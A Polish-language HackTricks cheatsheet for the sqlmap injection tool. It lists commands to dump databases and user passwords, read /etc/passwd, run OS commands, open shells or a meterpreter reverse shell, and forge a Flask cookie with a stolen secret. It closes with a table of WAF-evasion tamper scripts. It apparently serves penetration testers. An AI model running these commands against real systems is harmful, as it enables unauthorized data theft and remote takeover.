SQLMap - Cheatsheet

Reading time: 8 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawowe argumenty dla SQLmap

Ogólne

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Pobierz informacje

Wewnętrzne

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Dane DB

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Używając SQLMapping, jest to praktyczne narzędzie, które generuje polecenia i zapewnia pełny przegląd, zarówno podstawowy, jak i zaawansowany, dla SQLMap. Zawiera ToolTips, które wyjaśniają każdy aspekt narzędzia, szczegółowo opisując każdą opcję, abyś mógł poprawić i zrozumieć, jak używać go efektywnie i skutecznie.

Miejsce wstrzyknięcia

Z przechwycenia Burp/ZAP

Przechwyć żądanie i utwórz plik req.txt.

bash
sqlmap -r req.txt --current-user

Wstrzykiwanie żądania GET

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Wstrzykiwanie Żądania POST

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Iniekcje w nagłówkach i innych metodach HTTP

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Wskaźnik ciągu, gdy wstrzyknięcie jest udane

bash
--string="string_showed_when_TRUE"

Eval

Sqlmap umożliwia użycie -e lub --eval, aby przetworzyć każdy ładunek przed jego wysłaniem za pomocą jednego wiersza kodu w Pythonie. Ułatwia to i przyspiesza przetwarzanie ładunku w niestandardowy sposób przed jego wysłaniem. W następującym przykładzie sesja cookie flask jest podpisywana przez flask znanym sekretem przed jej wysłaniem:

bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Powłoka

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Przeczytaj plik

bash
--file-read=/etc/passwd

Crawlowanie strony internetowej za pomocą SQLmap i automatyczne wykorzystanie

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Wstrzyknięcie Drugiego Rzędu

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Przeczytaj ten post o tym, jak przeprowadzać proste i złożone drugorzędowe wstrzyknięcia za pomocą sqlmap.

Dostosowywanie wstrzyknięcia

Ustaw sufiks

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoc w znajdowaniu wstrzyknięć boolean

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Pamiętaj, że możesz stworzyć własny tamper w pythonie i jest to bardzo proste. Możesz znaleźć przykład tampera na stronie Drugiego Rzędu Wstrzyknięcia tutaj.

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperOpis
apostrophemask.pyZastępuje znak apostrofu jego pełnowymiarowym odpowiednikiem UTF-8
apostrophenullencode.pyZastępuje znak apostrofu jego nielegalnym podwójnym odpowiednikiem unicode
appendnullbyte.pyDodaje zakodowany znak NULL na końcu ładunku
base64encode.pyKoduje wszystkie znaki w danym ładunku w formacie Base64
between.pyZastępuje operator większy niż ('>') z 'NOT BETWEEN 0 AND #'
bluecoat.pyZastępuje znak spacji po instrukcji SQL ważnym losowym znakiem pustym. Następnie zastępuje znak = operatorem LIKE
chardoubleencode.pyPodwójnie koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)
commalesslimit.pyZastępuje wystąpienia takie jak 'LIMIT M, N' z 'LIMIT N OFFSET M'
commalessmid.pyZastępuje wystąpienia takie jak 'MID(A, B, C)' z 'MID(A FROM B FOR C)'
concat2concatws.pyZastępuje wystąpienia takie jak 'CONCAT(A, B)' z 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyKoduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)
charunicodeencode.pyKoduje znaki unicode-url niezakodowane w danym ładunku (nie przetwarzając już zakodowanych). "%u0022"
charunicodeescape.pyKoduje znaki unicode-url niezakodowane w danym ładunku (nie przetwarzając już zakodowanych). "\u0022"
equaltolike.pyZastępuje wszystkie wystąpienia operatora równości ('=') operatorem 'LIKE'
escapequotes.pyUżywa znaku ukośnika do ucieczki cytatów (' i ")
greatest.pyZastępuje operator większy niż ('>') jego odpowiednikiem 'GREATEST'
halfversionedmorekeywords.pyDodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym
ifnull2ifisnull.pyZastępuje wystąpienia takie jak 'IFNULL(A, B)' z 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyOtacza pełne zapytanie wersjonowanym komentarzem
modsecurityzeroversioned.pyOtacza pełne zapytanie zerowym wersjonowanym komentarzem
multiplespaces.pyDodaje wiele spacji wokół słów kluczowych SQL
nonrecursivereplacement.pyZastępuje zdefiniowane słowa kluczowe SQL reprezentacjami odpowiednimi do zastąpienia (np. .replace("SELECT", "")) filtry
percentage.pyDodaje znak procentu ('%') przed każdym znakiem
overlongutf8.pyKonwertuje wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)
randomcase.pyZastępuje każdy znak słowa kluczowego losową wartością wielkości liter
randomcomments.pyDodaje losowe komentarze do słów kluczowych SQL
securesphere.pyDodaje specjalnie skonstruowany ciąg
sp_password.pyDodaje 'sp_password' na końcu ładunku w celu automatycznego zaciemnienia z logów DBMS
space2comment.pyZastępuje znak spacji (' ') komentarzami
space2dash.pyZastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje losowy ciąg i nowa linia ('\n')
space2hash.pyZastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n')
space2morehash.pyZastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n')
space2mssqlblank.pyZastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków
space2mssqlhash.pyZastępuje znak spacji (' ') znakiem funta ('#') po którym następuje nowa linia ('\n')
space2mysqlblank.pyZastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków
space2mysqldash.pyZastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje nowa linia ('\n')
space2plus.pyZastępuje znak spacji (' ') znakiem plusa ('+')
space2randomblank.pyZastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków
symboliclogical.pyZastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i
unionalltounion.pyZastępuje UNION ALL SELECT z UNION SELECT
unmagicquotes.pyZastępuje znak cytatu (') kombinacją wielobajtową %bf%27 razem z ogólnym komentarzem na końcu (aby to działało)
uppercase.pyZastępuje każdy znak słowa kluczowego wartością wielką 'INSERT'
varnish.pyDodaje nagłówek HTTP 'X-originating-IP'
versionedkeywords.pyOtacza każde nie-funkcyjne słowo kluczowe wersjonowanym komentarzem MySQL
versionedmorekeywords.pyOtacza każde słowo kluczowe wersjonowanym komentarzem MySQL
xforwardedfor.pyDodaje fałszywy nagłówek HTTP 'X-Forwarded-For'

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks